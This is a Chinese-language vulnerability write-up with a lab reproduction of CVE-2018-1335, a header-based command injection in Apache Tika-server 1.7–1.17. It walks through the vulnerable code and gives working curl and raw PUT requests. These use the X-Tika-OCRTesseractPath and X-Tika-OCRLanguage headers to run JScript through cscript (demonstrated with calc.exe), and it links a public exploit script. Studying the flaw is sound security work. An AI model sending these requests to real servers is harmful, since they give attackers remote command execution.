Apache Tika-server 命令执行漏洞(CVE-2018-1335)

Apache Tika-server 命令执行漏洞(CVE-2018-1335)

0x01 漏洞简介

Apache Tika™ 工具集可以检测和提取上千种不同文件类型(比如PPT,XLS,PDF等)中的元数据和文本。所有的这些类型文件都可以通过一个单独的接口实现解析,这使Tika对搜索引擎的索引,目录分析和翻译等很有帮助。

Apache Tika 1.7至1.17版本存在命令注入漏洞。攻击者可通过客户端向tika-server发送特制header,从而可将命令注入运行tika-server的服务器的命令行中。

0x02 影响版本

Apache Tika 1.7至1.17版本

0x03 环境搭建

存在漏洞的Tika版本可以在这里下载:https://archive.apache.org/dist/tika/tika-server-1.17.jar

运行漏洞环境java -jar tika-server-1.17.jar

就会在本地的9998端口生成一个环境

在这里插入图片描述

0x04 漏洞分析

原始公告描述如下:

在Tika1.18 之前,用户可以发送精心构造的标头至tika-server,这些标头能够用来注入一些命令到运行tika-server的服务器的命令行中。此漏洞只影响向不受信用户开放并且运行tika-server的服务器。

我们可以从中得到以下信息:

  • 1.18版本已修复
  • 1.17版本未修复
  • 漏洞为命令注入
  • 漏洞入口点为标头
  • 此漏洞由tika-server部分代码造成

有一个重要的函数processHeaderConfig,该函数在1.1.8版本中已被移除修改。它使用某些变量来动态地创建一个方法,该方法设置一些对象的特性并使用HTTP标头执行。

在对该函数的描述中也展示了不同特性的前缀,并且在代码的起始位置被定义为静态字符串

在这里插入图片描述

因此,我们有一组在请求中能作为HTTP标头的静态字符串,它们通常是用来设置对象的某个特性。对于最后的标头,它似乎是X-Tika-OCRsomeproperty: somevalue形式的,然后somevalue转换为类似于setSomeproperty()的函数,该函数将被调用并且等于someValue初始值。
在这里插入图片描述

在这里插入图片描述

这里你可以看到这个函数被使用,并且在此请求中会检查标头前缀以确认调用此函数的方式。所需的参数将从这个HTTP请求传入processHeaderConfig函数。

查看processHeaderConfig的使用方式,可以看到特性是被设置在TesseractOCRConfig对象。经过搜寻可能用到对象TesseractOCRConfig的位置,我们发现了一个非常有趣的地方:tika-parsers/src/main/java/org/apache/tika/parser/ocr/TesseractOCRParser.java

TesseractOCRParser.java存在函数doOCR,该函数从我们刚发现的TesseractOCRConfig对象传递配置特性给一个字符串数组,此数组为ProcessBuilde组建一个命令,然后程序开始运转。
在这里插入图片描述

理论上讲我们可以发送一些标头为X-Tika-OCRTesseractPath: <some command>的HTTP请求给服务器,然后这个命令被插入到cmd字符并执行。但是,目前唯一的问题是config.getTesseractPath()已经被预定给另一个我们无法控制的字符,而getTesseractProg()最终变为一个静态字符,tesseract.exe。为了解决这个问题,我们尝试把要执行的命令用双引号包裹,但是Windows忽略引号后面的任何附加内容并且只会执行前面的部分。

为了进一步测试,我们先看看tika-server文档中关于提取某个文件元数据的说明。

在这里插入图片描述

因为OCR全名为Optical Character Recognition(光学字符识别),用于提取出图像中的文本和内容信息。这里,我将上传图像文件而不是docx,希望它能与doOCR函数交互。

组合起来命令为:使用一个tiff文件进行上传

curl -T test.tiff http://localhost:9998/meta --header "X-Tika-OCRTesseractPath: \"calc.exe\""

在这里插入图片描述

OK,我们做到了——在上传时使用PUT方式发送请求,该请求中HTTP标头X-Tika-OCRTesseractPath后端命令用双引号包裹,并且该命令被成功执行。

Cscript将第一个参数视为脚本,允许你使用//E:engine标识来指定你要用的脚本引擎(可能是Jscript或者VBS),所以我们不需要考虑文件类型了。

通过HTTP标头可以设置:

X-Tika-OCRTesseractPath: "cscript.exe"
X-Tika-OCRLanguage: //E:Jscript

上传一个“图片”文件,其中包含一些Jscript或者VBS代码:

var oShell = WScript.CreateObject("WScript.Shell");
var oExec = oShell.Exec('cmd /c calc.exe');

刚开始上传图像文件时失败了,因为它不是一个有效的图像,其中的特定字节无法被验证。我想到了解决方法,我把content-type设置为image/jp2,这样图像文件能够绕过Tika的检测然后交由OCR处理。然后,我们就可以成功上传包含Jscript的图像了。

最后,我们把所有有东西结合起来,获得了一个完整的任意命令/jscrpit/vbs代码执行。

PUT /meta HTTP/1.1
Host: localhost:9998
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
X-Tika-OCRTesseractPath: "cscript"
Content-type: image/jp2
Expect: 100-continue
X-Tika-OCRLanguage: //E:Jscript
Content-Length: 97

var oShell = WScript.CreateObject("WScript.Shell");
	var oExec = oShell.Exec('cmd /c calc.exe');

0x05 漏洞复现

我们使用burp进行抓包,然后根据我们上边使用的poc,使用cscript脚本进行命令执行

PUT /meta HTTP/1.1
Host: localhost:9998
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
X-Tika-OCRTesseractPath: "cscript"
Content-type: image/jp2
Expect: 100-continue
X-Tika-OCRLanguage: //E:Jscript
Content-Length: 97

var oShell = WScript.CreateObject("WScript.Shell");
	var oExec = oShell.Exec('cmd /c calc.exe');

在这里插入图片描述

我们也可以使用这个poc进行探测,https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2018-1335

环境是python2的,也可以将其中的print函数语法进行更改就可以在Python3中使用

python CVE-2018-1335.py HOST PORT COMMAND
python CVE-2018-1335.py localhost 9998 calc.exe
335
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值